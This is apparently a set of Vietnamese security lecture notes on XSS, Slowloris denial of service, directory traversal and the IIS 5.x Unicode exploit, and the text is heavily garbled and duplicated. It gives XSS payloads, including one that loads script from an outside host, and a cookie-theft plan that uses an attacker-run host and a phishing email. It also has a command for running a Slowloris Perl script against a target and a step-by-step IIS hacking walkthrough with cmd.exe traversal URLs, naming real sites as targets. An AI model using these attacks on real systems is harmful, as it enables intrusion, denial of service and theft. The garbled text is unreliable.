B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
